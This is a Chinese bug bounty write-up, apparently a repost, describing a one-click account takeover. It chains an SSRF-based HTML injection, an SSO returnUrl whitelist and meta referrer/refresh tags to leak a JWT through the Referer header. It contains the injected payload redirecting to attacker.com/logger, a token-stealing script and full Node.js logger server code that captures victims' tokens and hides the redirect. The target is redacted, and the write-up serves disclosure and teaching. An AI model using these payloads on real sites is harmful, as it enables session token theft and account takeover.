官网:http://securitytech.cc/
将 HTML 注入升级为“一键账号接管”
介绍
我在一个有漏洞悬赏计划的网站上发现了这个 bug。该计划是外包/外部项目,故我不能透露站点名称。撰写本文时漏洞尚未修复;为方便起见,目标站点统一称为 redacted.com。
要点(TL;DR)
- SSO 流程 接受指向任意
*.redacted.com子域的returnUrl。 -
- files.redacted.com 在白名单内,并且通过 SSRF 可以被注入 HTML。
-
- 注入的 HTML 包含:
<meta name="referrer" content="unsafe-url" />
<meta http-equiv="refresh" content="0;url=http://attacker.com/logger" />
- 受害者在 OAuth 流程中被重定向到被注入的页面。
-
- 浏览器将完整的
Referer(包含?token=...)发送到attacker.com/logger。
- 浏览器将完整的
-
- 攻击者获取 token 并接管账号。
-
- 利用为 一键 ATO —— 不需要 JavaScript,也不需要进一步交互。
HTML 注入
我在网站上发现了一个存在 SSRF 的端点,这允许我注入自定义 HTML,例如:
https://files.redacted.com/proxy?url=https://google.com

起初我以为这是一个简单的 XSS,可以直接导致 ATO,但我错了:目标站点的 Content-Security-Policy 禁止执行 JavaScript。
Content-Security-Policy: default-src 'none'; media-src 'self'
那怎么办?我思考了一段时间,转而研究网站的认证流程。
认证方式
该应用由多个子网站组成,使用一个 SSO 端点来在站点间切换时获取 JWT token。

JWT 会被传到请求中指定的 redirectUrl。在第二个应用里,这个 JWT 会被存到 localStorage。

因此,要拿到 JWT,我们要么攻破 SSO,要么找到能窃取 localStorage 的 XSS。
探索 SSO 功能
经检查,SSO 端点对 returnUrl 做了校验,只接受匹配 *.redacted.com 的 URL。我尝试了 100+ 种绕过方式都失败了。

常见的白名单绕过形式如 https://redacted.com.attacker.com 并不奏效。
但我想起:files.redacted.com 在白名单里,并且我能通过 SSRF / HTML 注入控制它的内容!
外泄 token 的思路
如果 files.redacted.com 没有 CSP,那么我可以在自己的服务器放一个窃取 JWT 的页面,例如:
<script>
// 从 URL 获取 token
const urlParams = new URLSearchParams(window.location.search);
const token = urlParams.get("token");
// 发送 token 到攻击者服务器
location = "http://myserver.com/logger?token=" + token;
</script>
然后构造:
https://app.redacted.com/api/sso/me?returnUrl=https://files.redacted.com/proxy?url=http://myserver.com/
可惜目标站点启用了 CSP 禁用了 JavaScript,导致上述方案失败:
https://files.redacted.com/proxy?url=http://myserver.com/ -> 失败
绕过 CSP 的想法
我尝试过多种绕过 CSP 的办法,都无果。用 <meta> 覆盖响应头里的 CSP 也不可行 —— 浏览器优先遵循响应头里的 CSP,而非 <meta>。
利用 Meta 标签做重定向
但 <meta> 还有重定向功能:
<meta http-equiv="refresh" content="0;url=http://myserver.com/logger" />
这能把用户重定向到攻击者域名。但仍然面临无法执行 JS 的问题——如何窃取 token?
重定向会带上 Referer
当页面发生重定向时,目标站点通常能看到来源页面的 URL(Referer)。因此,如果我在 SSRF 的页面里放置 meta 重定向,/logger 可以看到原始 URL(理论上包括参数里的 token):
<meta http-equiv="refresh" content="0;url=http://myserver.com/logger" />
请求头可能包含:
Referer: https://files.redacted.com/proxy?url=http://myserver.com/

于是我组合构造出最终的 URL:
https://app.redacted.com/api/sso?returnUrl=https://files.redacted.com/proxy?url=http://myserver.com/
我以为这会奏效,但并没有。默认情况下,浏览器在 Referer 中只包含主机名(或在跨站时会裁剪路径/参数),不会总是包含完整路径和查询参数,因此 token 并不总是随 Referer 发送。:(

通过 referrer 元标签强制发送完整 Referer
进一步研究发现,可以用另一个 meta tag 改变默认的 Referer 策略。把它设置为 unsafe-url 后,浏览器会把完整 URL(包含路径和参数)作为 Referer 发出:
<meta name="referrer" content="unsafe-url" />
最终利用(PoC)
我写了一个简单的 Node.js HTTP 服务来演示(示例代码如下):
- / 返回包含两个 meta 标签(
referrer=unsafe-url和refresh 重定向)的 HTML; -
- /logger 记录收到的 Referer(和 IP)到
logs.txt,然后重定向回目标站点以隐藏行为;
- /logger 记录收到的 Referer(和 IP)到
-
- /logs 以表格方式查看
logs.txt。
- /logs 以表格方式查看
const express = require("express");
const fs = require("fs");
const path = require("path");
const app = express();
const PORT = 3000;
// Route: / → 发送包含 referrer policy + meta 重定向的 HTML
app.get("/", (req, res) => {
res.set("Content-Type", "text/html");
res.send(`
<html>
<head>
<meta name="referrer" content="unsafe-url">
<meta http-equiv="refresh" content="0;url=http://myserver.com/logger">
</head>
<body>
Redirecting...
</body>
</html>
`);
});
// Route: /logger → 记录 IP + Referer 到 logs.txt 并重定向回 redacted.com(隐蔽)
app.get("/logger", (req, res) => {
const ip = req.headers["x-forwarded-for"] || req.socket.remoteAddress;
const referer = req.headers["referer"] || "None";
const logEntry = `${new Date().toISOString()}, ${ip}, ${referer}\n`;
fs.appendFileSync(path.join(__dirname, "logs.txt"), logEntry);
res.redirect("https://app.redacted.com/");
});
// Route: /logs → 在 HTML 表格中显示 logs.txt
app.get("/logs", (req, res) => {
const logsPath = path.join(__dirname, "logs.txt");
if (!fs.existsSync(logsPath)) return res.send("<h1>No logs found</h1>");
const rows = fs
.readFileSync(logsPath, "utf-8")
.trim()
.split("\n")
.map((line) => {
const [date, ip, referer] = line.split(", ");
return `<tr><td>${date}</td><td>${ip}</td><td>${referer}</td></tr>`;
});
res.set("Content-Type", "text/html");
res.send(`
<html>
<head>
<title>Logs</title>
<style>
table { border-collapse: collapse; width: 100%; }
th, td { border: 1px solid #ccc; padding: 8px; text-align: left; }
</style>
</head>
<body>
<h1>Access Logs</h1>
<table>
<tr><th>Date</th><th>IP</th><th>Referer</th></tr>
${rows.join("\n")}
</table>
</body>
</html>
`);
});
app.listen(PORT, () => {
console.log(`Server running on http://localhost:${PORT}`);
});
最终的一键 ATO 有效载荷示例为:
https://app.redacted.com/api/sso?returnUrl=https://files.redacted.com/proxy?url=http://myserver.com/
当目标用户访问该 URL 时(在满足条件的浏览器/策略下),攻击者就能在 /logger 的日志中看到带有 token 的完整 Referer,从而拿到受害者的 JWT 并接管账号。

报告时间线
- 2025-08-06 — 提交漏洞报告
-
- 2025-08-08 — 漏洞被分级(标为 Medium)
-
- 2025-09-02 — 找到绕过方式(他们标为重复)